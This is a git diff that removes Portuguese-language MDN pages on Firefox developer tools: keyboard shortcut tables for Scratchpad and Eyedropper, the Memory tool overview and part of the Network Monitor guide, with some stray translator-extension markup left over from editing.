- <td><kbd>Shift</kbd> + <kbd>F7</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>F7</kbd></td>
- </tr>
- <tr>
- <th scope="row">Abrir janela 'Completar Automaticamente'</th>
- <td><kbd>Ctrl</kbd> + <kbd>Space</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Space</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Space</kbd></td>
- </tr>
- </tbody>
-</table>
-
-<div id="scratchpad">
-<h2 id="Scratchpad"><em>Scratchpad</em></h2>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;">Comando</th>
- <th scope="col">Windows</th>
- <th scope="col">macOS</th>
- <th scope="col">Linux</th>
- </tr>
- <tr>
- <th scope="row">Open the Scratchpad</th>
- <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
- </tr>
- <tr>
- <th scope="row">Run Scratchpad code</th>
- <td><kbd>Ctrl</kbd> + <kbd>R</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>R</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>R</kbd></td>
- </tr>
- <tr>
- <th scope="row">Run Scratchpad code, display the result in the <a href="/en-US/docs/Tools/Web_Console#Inspecting_objects" title="/en-US/docs/Tools/Web_Console#Inspecting_objects">object inspector</a></th>
- <td><kbd>Ctrl</kbd> + <kbd>I</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>I</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>I</kbd></td>
- </tr>
- <tr>
- <th scope="row">Run Scratchpad code, insert the result as a comment</th>
- <td><kbd>Ctrl</kbd> + <kbd>L</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>L</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>L</kbd></td>
- </tr>
- <tr>
- <th scope="row">Re-evaluate current function</th>
- <td><kbd>Ctrl</kbd> + <kbd>E</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>E</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>E</kbd></td>
- </tr>
- <tr>
- <th scope="row">Reload the current page, then run Scratchpad code</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>R</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>R</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>R</kbd></td>
- </tr>
- <tr>
- <th scope="row">Save the pad</th>
- <td><kbd>Ctrl</kbd> + <kbd>S</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>S</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>S</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open an existing pad</th>
- <td><kbd>Ctrl</kbd> + <kbd>O</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>O</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>O</kbd></td>
- </tr>
- <tr>
- <th scope="row">Create a new pad</th>
- <td><kbd>Ctrl</kbd> + <kbd>N</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>N</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>N</kbd></td>
- </tr>
- <tr>
- <th scope="row">Close Scratchpad</th>
- <td><kbd>Ctrl</kbd> + <kbd>W</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>W</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>W</kbd></td>
- </tr>
- <tr>
- <th scope="row">Pretty print the code in Scratchpad</th>
- <td><kbd>Ctrl</kbd> + <kbd>P</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>P</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>P</kbd></td>
- </tr>
- <tr>
- <th scope="row">Show autocomplete suggestions</th>
- <td><kbd>Ctrl</kbd> + <kbd>Space</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Space</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Space</kbd></td>
- </tr>
- <tr>
- <th scope="row">Show inline documentation</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Space</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Space</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Space</kbd></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="eyedropper">
-<h2 id="Eyedropper"><em>Eyedropper</em></h2>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>macOS</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Selecionar a cor atual</th>
- <td><kbd>Enter</kbd></td>
- <td><kbd>Return</kbd></td>
- <td><kbd>Enter</kbd></td>
- </tr>
- <tr>
- <th scope="row">Rejeitar o <em>Eyedropper</em></th>
- <td><kbd>Escape</kbd></td>
- <td><kbd>Escape</kbd></td>
- <td><kbd>Escape</kbd></td>
- </tr>
- <tr>
- <th scope="row">Mover 1 píxel</th>
- <td><kbd>Arrow keys</kbd></td>
- <td><kbd>Arrow keys</kbd></td>
- <td><kbd>Arrow keys</kbd></td>
- </tr>
- <tr>
- <th scope="row">Mover 10 píxeis</th>
- <td><kbd>Shift</kbd> + <kbd>arrow keys</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>arrow keys</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>arrow keys</kbd></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style=""></div>
-
-<div id="SL_shadow_translation_result2" class="hidden"></div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose"></div>
-
-<div id="SL_alert_cont"></div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"></div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"></div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"></div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"></div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"></div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"></div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"></div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result"></div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_player2"></div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"></div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/tools/memory/index.html b/files/pt-pt/tools/memory/index.html
deleted file mode 100644
index deef776146..0000000000
--- a/files/pt-pt/tools/memory/index.html
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: Memória
-slug: Tools/Memory
-tags:
- - Ferramentas
- - Ferramentas de Programador
- - Firefox
- - Mozilla
-translation_of: Tools/Memory
-original_slug: Tools/Memoria
----
-<div>{{ToolsSidebar}}</div><p>The Memory tool lets you take a snapshot of the current tab's memory <a class="external external-icon" href="http://en.wikipedia.org/wiki/Memory_management#HEAP" title="heap">heap</a>. It then provides a number of views of the heap that can show you which objects account for memory usage and exactly where in your code you are allocating memory.</p>
-
-<p>{{EmbedYouTube("DJLoq5E5ww0")}}</p>
-
-<hr>
-<h3 id="O_básico">O básico</h3>
-
-<div class="twocolumns">
-<ul>
- <li><a href="/en-US/docs/Tools/Memory/Basic_operations#Opening_the_Memory_tool">Opening the memory tool</a></li>
- <li><a href="/en-US/docs/Tools/Memory/Basic_operations#Taking_a_heap_snapshot">Taking a heap snapshot</a></li>
- <li><a href="/en-US/docs/Tools/Memory/Basic_operations#Comparing_snapshots">Comparing two snapshots</a></li>
- <li><a href="/en-US/docs/Tools/Memory/Basic_operations#Clearing_a_snapshot">Deleting snapshots</a></li>
- <li><a href="/en-US/docs/Tools/Memory/Basic_operations#Saving_and_loading_snapshots">Saving and loading snapshots</a></li>
- <li><a href="/en-US/docs/Tools/Memory/Basic_operations#Recording_call_stacks">Recording call stacks</a></li>
-</ul>
-</div>
-
-<hr>
-<h3 id="Analisar_capturas_de_ecrã">Analisar capturas de ecrã</h3>
-
-<div class="geckoVersionNote">
-<p>The Tree map view is new in Firefox 48, and the Dominators view is new in FIrefox 46.</p>
-</div>
-
-<p>Once you've taken a snapshot, there are three main views the Memory tool provides:</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Memory/Tree_Map_view">the Tree map view</a> shows memory usage as a <a href="https://en.wikipedia.org/wiki/Treemapping">treemap</a>.</li>
- <li><a href="/en-US/docs/Tools/Memory/Aggregate_view">the Aggregate view</a> shows memory usage as a table of allocated types.</li>
- <li><a href="/en-US/docs/Tools/Memory/Dominators_view">the Dominators view</a> shows the "retained size" of objects: that is, the size of objects plus the size of other objects that they keep alive through references.</li>
-</ul>
-
-<p>If you've opted to record allocation stacks for the snapshot, the Aggregate and Dominators views can show you exactly where in your code allocations are happening.</p>
-
-<hr>
-<h3 id="Conceitos">Conceitos</h3>
-
-<div class="twocolumns">
-<ul>
- <li><a href="/en-US/docs/Tools/Memory/Dominators">Dominators</a></li>
-</ul>
-</div>
-
-<hr>
-<h3 id="Páginas_de_exemplo">Páginas de exemplo</h3>
-
-<p>Examples used in the Memory tool documentation.</p>
-
-<div class="twocolumns">
-<ul>
- <li><a href="/en-US/docs/Tools/Memory/Monster_example">Monster example</a></li>
- <li><a href="/en-US/docs/Tools/Memory/DOM_allocation_example">DOM allocation example</a></li>
-</ul>
-</div>
diff --git a/files/pt-pt/tools/network_monitor/index.html b/files/pt-pt/tools/network_monitor/index.html
deleted file mode 100644
index 98f92f932e..0000000000
--- a/files/pt-pt/tools/network_monitor/index.html
+++ /dev/null
@@ -1,693 +0,0 @@
----
-title: Monitor de Rede
-slug: Tools/Network_Monitor
-tags:
- - Depuração
- - Ferramentas
- - Ferramentas de Desenvolvimento
- - Firefox
- - Guía
- - Rede
- - 'l10n:prioridade'
-translation_of: Tools/Network_Monitor
----
-<div>{{ToolsSidebar}}</div>
-
-<p>O Monitor de Rede mostra-lhe os pedidos de rede que o Firefox efetua (por exemplo, quand o este carrega uma página, ou ddevido a <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequests</a>), quanto tempo demora cada pedido, e detalhes de cada pedido.</p>
-
-<h2 id="Abrir_o_Monitor_de_Rede">Abrir o Monitor de Rede</h2>
-
-<p>Existem algumas maneiras diferentes de abrir o 'Monitor de Rede':</p>
-
-<div class="geckoVersionNote">
-<p>Por favor, note que o atalho de teclado foi alterado na versão 55 do Firefox</p>
-</div>
-
-<ul>
- <li>Pressione  <kbd>Ctrl</kbd> +  <kbd>Shift</kbd> +  <kbd>E</kbd> ( <kbd>Command</kbd> +  <kbd>Option</kbd> +  <kbd>E</kbd>  num Mac).</li>
- <li>Select "Network" from the Web Developer menu, (which is a submenu in the Tools menu on OS X and Linux).</li>
- <li>Click the wrench icon (<img alt="" src="https://mdn.mozillademos.org/files/12710/wrench-icon.png" style="height: 21px; width: 21px;">), which is in the main toolbar or under the Hamburger menu (<img alt="" src="https://mdn.mozillademos.org/files/12712/hamburger.png" style="height: 20px; width: 22px;">), then select "Network".</li>
-</ul>
-
-<p>The Network Monitor will appear at the bottom of the browser window. Reload the page to see the requests:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13535/1-new-overview-small.png" style="display: block; height: 831px; margin: 0px auto; width: 1100px;"></p>
-
-<p>The Network Monitor records network requests any time the Toolbox is open, even if the Network Monitor itself is not selected. This means you can start debugging a page in, for example, the Web Console, then switch to the Network Monitor to see network activity without having to reload the page.</p>
-
-<h2 id="IU_-_Sinopse">IU - Sinopse</h2>
-
-<p>A IU é dividida em 4 partes principais:</p>
-
-<ul>
- <li>the main screen contains the <a href="/en-US/docs/Tools/Network_Monitor#Toolbar">toolbar</a>, the <a href="/en-US/docs/Tools/Network_Monitor#Network_request_list">network request list</a>, and the <a href="/en-US/docs/Tools/Network_Monitor#Network_request_details">network request details pane</a>:</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13266/nm-pieces.png" style="display: block; height: 850px; margin-left: auto; margin-right: auto; width: 962px;"></p>
-
-<ul>
- <li>the <a href="/en-US/docs/Tools/Network_Monitor#Performance_analysis">performance analysis</a> view is a separate screen:</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12864/nm-performance.png" style="display: block; height: 1028px; margin-left: auto; margin-right: auto; width: 691px;"></p>
-
-<h2 id="Barra_de_Ferramentas">Barra de Ferramentas</h2>
-
-<p>From Firefox 47 onwards, the toolbar is at the top of the main window. In earlier versions of Firefox, it's at the bottom.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13138/nm-toolbar.png" style="display: block; height: 334px; margin-left: auto; margin-right: auto; width: 1910px;">It provides:</p>
-
-<ul>
- <li>an icon to clear the <a href="https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor#Network_request_list">network request list</a></li>
- <li>an array of icons to filter the network request list by type:
- <ul>
- <li>by the content type of the response</li>
- <li>XHR requests</li>
- <li>(new in Firefox 48) WebSocket upgrades (labeled WS)</li>
- </ul>
- </li>
- <li>an icon to launch <a href="https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor#Performance_analysis">performance analysis</a></li>
- <li>a summary of this page, including the number of requests, total size, and total time</li>
- <li>a box enabling you to <a href="https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor#Filtering_by_URL">filter requests by URL</a></li>
- <li>an icon to show/hide the <a href="/en-US/docs/Tools/Network_Monitor#Network_request_details">network request details pane</a>.</li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong>: From Firefox 58 onwards, the "Flash" filter button is no longer available, and Flash requests are included in the "Others" filter ({{bug(1413540)}}).</p>
-</div>
-
-<h2 id="Lista_de_pedidos_de_rede">Lista de pedidos de rede</h2>
-
-<p>By default, the Network Monitor shows a list of all the network requests made in the course of loading the page. Each request is displayed in its own row:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13537/5-new-request-list-new.png" style="display: block; height: 257px; margin: 0px auto; width: 900px;">By default, the Network Monitor is cleared each time you navigate to a new page or reload the current page. You can override this behavior by checking "Enable persistent logs" in the <a href="https://developer.mozilla.org/en-US/docs/Tools_Toolbox#Common_preferences">Settings</a>.</p>
-
-<h3 id="Colunas_de_pedido_de_rede">Colunas de pedido de rede</h3>
-
-<p>From Firefox 55 onwards, you can toggle different columns by right-clicking on the table header and choosing the specific column from the context menu. A "Reset Columns" option is also available to reset the columns to their initial configuration. Here is a list of all available columns:</p>
-
-<ul>
- <li><strong>Status</strong>: The HTTP status code returned. This is displayed as a color-coded icon:
-
- <ul>
- <li><img alt="" src="https://mdn.mozillademos.org/files/13136/1x.png" style="height: 17px; width: 17px;">blue circle for informational (1XX codes). Notably, this includes 101 (switching protocols) for <a href="/en-US/docs/Web/API/WebSocket">WebSocket</a> upgrades.</li>
- <li><img alt="" src="https://mdn.mozillademos.org/files/10941/200.png" style="height: 17px; width: 17px;"> green circle for success (2XX codes)</li>
- <li><img alt="" src="https://mdn.mozillademos.org/files/10945/300.png" style="height: 17px; width: 17px;"> orange triangle for redirection (3XX)</li>
- <li><img alt="" src="https://mdn.mozillademos.org/files/10943/4-500.png" style="height: 17px; width: 17px;"> red square for errors (4XX and 5XX)</li>
- <li><img alt="" src="https://mdn.mozillademos.org/files/10947/cached.png" style="height: 17px; width: 17px;"> hollow grey circle for responses that were fetched from the browser cache.</li>
- </ul>
- The exact code is displayed immediately after the icon.</li>
- <li><strong>Method</strong>: The HTTP request method used.</li>
- <li><strong>File</strong>: The basename of the file requested.</li>
- <li><strong>Protocol:</strong> The network protocol used to transfer the data, this column is hidden by default. This is new in Firefox 55.</li>
- <li><strong>Scheme:</strong> The scheme (https/http/ftp/...) of the path requested. This column is hidden by default. This is new in Firefox 55.</li>
- <li><strong>Domain</strong>: Domain of the path requested.
- <ul>
- <li>If the request used SSL/TLS and the connection had security weaknesses such as weak ciphers, you'll see a warning triangle next to the domain. You will be able to see more details about the problem in the <a href="/en-US/docs/Tools/Network_Monitor#Security">Security tab</a>.</li>
- <li>Hover over the domain to see the IP address.</li>
- <li>There's an icon next to the domain that gives you extra information about the security status of that request. See <a href="/en-US/docs/Tools/Network_Monitor#Security_icons">Security icons</a>.</li>
- </ul>
- </li>
- <li><strong>Remote IP</strong>: The IP address of the server answering the request. This column is hidden by default. This is new in Firefox 55.</li>
- <li><strong>Cause</strong>: The reason that the network request occurred, for example XHR request, {{htmlelement("img")}}, script, script requesting an image, etc. This is new in Firefox 49.</li>
- <li><strong>Type</strong>: <code>Content-type</code> of the response.</li>
- <li><strong>Cookies:</strong> The number of request cookies associated to the request. This column is hidden by default. This is new in Firefox 55.</li>
- <li><strong>Set-Cookies:</strong> The number of response cookies associated to the request. This column is hidden by default. This is new in Firefox 55.</li>
- <li><strong>Transferred</strong>: The number of bytes that were actually transferred to load the resource. This will be less than <strong>Size</strong> if the resource was compressed. From Firefox 47, if the resource was fetched from a <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a> cache, then this cell displays "service worker".</li>
- <li><strong>Size</strong>: The size of the transferred resource.</li>
-</ul>
-
-<p>The toolbar at the top labels these columns, and clicking the label sorts all the requests by that column.</p>
-
-<h4 id="Miniaturas_de_imagem">Miniaturas de imagem</h4>
-
-<p>If the file is an image, the row includes a thumbnail of the image, and hovering over the filename shows a preview in a tooltip:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13539/6-new-thumb-small.png" style="display: block; height: 241px; margin: 0px auto; width: 900px;"></p>
-
-<h4 id="Ícones_de_segurança">Ícones de segurança</h4>
-
-<p>The Network Monitor displays an icon in the Domain column:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13541/7-new-security-icons-new.png" style="display: block; height: 217px; margin: 0px auto; width: 900px;"></p>
-
-<p>This gives you extra information about the security status of the request:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Ícone</th>
- <th scope="col">Significado</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/11655/https.svg" style="height: 16px; width: 16px;"></td>
- <td>HTTPS</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/11653/https-weak.svg" style="height: 16px; width: 16px;"></td>
- <td>Weak HTTPS (for example, a weak cipher was used)</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/11649/https-failed.svg" style="height: 16px; width: 16px;"></td>
- <td>Failed HTTPS (for example, a certificate was invalid)</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/11651/http.svg" style="height: 16px; width: 16px;"></td>
- <td>HTTP</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/11657/localhost.svg" style="height: 16px; width: 16px;"></td>
- <td>Localhost</td>
- </tr>
- </tbody>
-</table>
-
-<p>For weak and failed HTTPS requests, you'll see more details of the problem in the <a href="/en-US/docs/Tools/Network_Monitor#Security">Security tab</a>.</p>
-
-<h4 id="Cause_column">Cause column</h4>
-
-<p>The Cause column indicates what the cause of the request was. This is usually fairly obvious, and you can generally see the correlation between this and the Type column entry. The most common values are:</p>
-
-<ul>
- <li>document: The source HTML document.</li>
- <li>img: {{htmlelement("img")}} element.</li>
- <li>imageset: {{htmlelement("img")}} element.</li>
- <li>script: A JavaScript file.</li>
- <li>stylesheet: A CSS file.</li>
-</ul>
-
-<div>
-<p>When a request was triggered by JavaScript, a small JS icon is shown to the left of the entry in the Cause column. Hovering over this displays a popup containing the stack trace for the request, to provide more clues as to why a request happened. Note that since Firefox 55, stack traces can be found in the <em>Stack Trace</em> tab of the {{anch("Network request details")}} panel instead.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13575/stack-trace-new-small.png" style="display: block; margin: 0 auto;"></p>
-
-<p>You can then click on any of the entries in the popup to open up the relevant script in the <a href="/en-US/docs/Tools/Debugger">Debugger</a> pane.</p>
-</div>
-
-<h3 id="Barra_Cronológica">Barra Cronológica</h3>
-
-<p>The request list also displays a timeline for the different parts of each request.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13543/8-new-timeline-small.png" style="display: block; height: 239px; margin: 0px auto; width: 900px;"></p>
-
-<p>Each timeline is given a horizontal position in its row relative to the other network requests, so you can see the total time taken to load the page. For more details on the color-coding used here, see the section on the <a href="/en-US/docs/Tools/Network_Monitor#Timings">Timings</a> page.</p>
-
-<p>Starting in Firefox 45, the timeline also contains two vertical lines:</p>
-
-<ul>
- <li>The <span style="color: blue;">blue</span> line marks the point at which the page's <code><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></code> event is triggered.</li>
- <li>The <span style="color: red;">red</span> line marks the point at which the page's <code><a href="/en-US/docs/Web/Events/load">load</a></code> event is triggered.</li>
-</ul>
-
-<h3 id="Pedidos_de_filtragem">Pedidos de filtragem</h3>
-
-<p>You can filter requests by content type, by whether they are XMLHttpRequests or WebSocket requests, by URL, or by request properties.</p>
-
-<h4 id="Filtering_by_content_type">Filtering by content type</h4>
-
-<p>To filter by content type, use the buttons in the <a href="/en-US/docs/Tools/Network_Monitor#Toolbar">toolbar</a>.</p>
-
-<h4 id="Filtering_XHR">Filtering XHR</h4>
-
-<p>To see only {{Glossary("XHR (XMLHttpRequest)", "XHR")}} requests, use the "XHR" button in the <a href="/en-US/docs/Tools/Network_Monitor#Toolbar">toolbar</a>.</p>
-
-<h4 id="Filtering_WebSockets">Filtering WebSockets</h4>
-
-<div class="geckoVersionNote">
-<p>Novo na versão 48 do Firefox</p>
-</div>
-
-<p>To see only WebSocket connections, use the "WS" button in the <a href="/en-US/docs/Tools/Network_Monitor#Toolbar">toolbar</a>.</p>
-
-<p>To monitor the data exchanged in WebSocket connections, try the <a href="https://addons.mozilla.org/en-US/firefox/addon/websocket-monitor/">WebSocket Monitor add-on</a>.</p>
-
-<h4 id="Filtering_by_URL">Filtering by URL</h4>
-
-<p>To filter by URL, use the search box in the <a href="/en-US/docs/Tools/Network_Monitor#Toolbar">toolbar</a>. Click in the search box, or press <kbd>Ctrl</kbd> + <kbd>F</kbd> (or <kbd>Cmd</kbd> + <kbd>F</kbd> on a Mac), and start typing. The list of network requests will be filtered to include only requests that contain your filter string, in either the Domain or the File portions.</p>
-
